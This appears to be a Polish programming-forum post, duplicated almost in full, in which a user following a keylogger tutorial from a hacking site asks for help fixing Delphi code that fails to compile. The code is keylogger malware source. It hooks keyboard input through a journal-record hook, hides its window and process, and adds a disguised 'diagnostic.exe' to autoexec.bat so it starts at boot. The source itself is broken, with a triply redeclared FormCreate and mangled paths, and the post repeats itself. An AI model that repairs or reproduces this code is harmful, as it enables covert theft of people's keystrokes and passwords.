Komponent gauge przeciez nie trzea sciagac ;]
A na drugie pytanie nie umiem odpowiedziec
------------------------------------------------------------------
Teraz ja mam pytanie :
Przerabiałem kurs o pisaniu keyloggera w delphi ze strony www.haxite.org i mam taki problem :
//kod zródłowy
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, CoolTrayIcon;
type
TForm1 = class(TForm)
CoolTrayIcon1: TCoolTrayIcon;
memo1: TMemo;
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
var
Hook:Integer;
MessageBuffer:TEventMsg;
{$R *.dfm}
procedure TForm1.FormCreate(Sender: TObject);
begin
form1.Hide;
end;
function play(Code: integer; wParam, lParam: Longint): Longint; stdcall;
begin
case Code of
HC_ACTION: begin
MessageBuffer := PEventMsg(lParam)^;
if MessageBuffer.message = wm_KeyDown then
begin
Form1.Memo1.Text := Form1.Memo1.Text + chr(MessageBuffer.paraml);
Result := 0;
end;
end;
else begin
Result := CallNextHookEx(Hook, Code, wParam, lParam);
end;
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
Hook:=SetWindowsHookEx(wh_journalrecord,play,HInstance,0);
end;
procedure TForm1FormDestroy(Sender: TObject);
begin
UnHookWindowsHookEx(Hook);
end;
function registerserviceprocess(pid,blah:longint):boolean;
stdcall; external 'kernel32.dll' name 'RegisterServiceProcess';
procedure TForm1.FormCreate(Sender: TObject);
begin
registerserviceprocess(0,1);
end;
var
Plik : TextFile;
begin
AssignFile(Plik,'C:autoexec.bat');
Append(Plik);
Writeln(Plik,'C:Windowsdiagnostic.exe');
CloseFile(Plik);
end.
I wysakują bledy :
[Warning] Unit1.pas(57): Return value of function 'play' might be undefined
[Error] Unit1.pas(63): Identifier redeclared: 'TForm1.FormCreate'
[Error] Unit1.pas(78): Identifier redeclared: 'TForm1.FormCreate'
[Fatal Error] Project1.dpr(5): Could not compile used unit 'Unit1.pas'
Kto pomoze ?? ;/
Ps. Wazne
A na drugie pytanie nie umiem odpowiedziec
------------------------------------------------------------------
Teraz ja mam pytanie :
Przerabiałem kurs o pisaniu keyloggera w delphi ze strony www.haxite.org i mam taki problem :
//kod zródłowy
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, CoolTrayIcon;
type
TForm1 = class(TForm)
CoolTrayIcon1: TCoolTrayIcon;
memo1: TMemo;
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
var
Hook:Integer;
MessageBuffer:TEventMsg;
{$R *.dfm}
procedure TForm1.FormCreate(Sender: TObject);
begin
form1.Hide;
end;
function play(Code: integer; wParam, lParam: Longint): Longint; stdcall;
begin
case Code of
HC_ACTION: begin
MessageBuffer := PEventMsg(lParam)^;
if MessageBuffer.message = wm_KeyDown then
begin
Form1.Memo1.Text := Form1.Memo1.Text + chr(MessageBuffer.paraml);
Result := 0;
end;
end;
else begin
Result := CallNextHookEx(Hook, Code, wParam, lParam);
end;
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
Hook:=SetWindowsHookEx(wh_journalrecord,play,HInstance,0);
end;
procedure TForm1FormDestroy(Sender: TObject);
begin
UnHookWindowsHookEx(Hook);
end;
function registerserviceprocess(pid,blah:longint):boolean;
stdcall; external 'kernel32.dll' name 'RegisterServiceProcess';
procedure TForm1.FormCreate(Sender: TObject);
begin
registerserviceprocess(0,1);
end;
var
Plik : TextFile;
begin
AssignFile(Plik,'C:autoexec.bat');
Append(Plik);
Writeln(Plik,'C:Windowsdiagnostic.exe');
CloseFile(Plik);
end.
I wysakują bledy :
[Warning] Unit1.pas(57): Return value of function 'play' might be undefined
[Error] Unit1.pas(63): Identifier redeclared: 'TForm1.FormCreate'
[Error] Unit1.pas(78): Identifier redeclared: 'TForm1.FormCreate'
[Fatal Error] Project1.dpr(5): Could not compile used unit 'Unit1.pas'
Kto pomoze ?? ;/
Ps. Wazne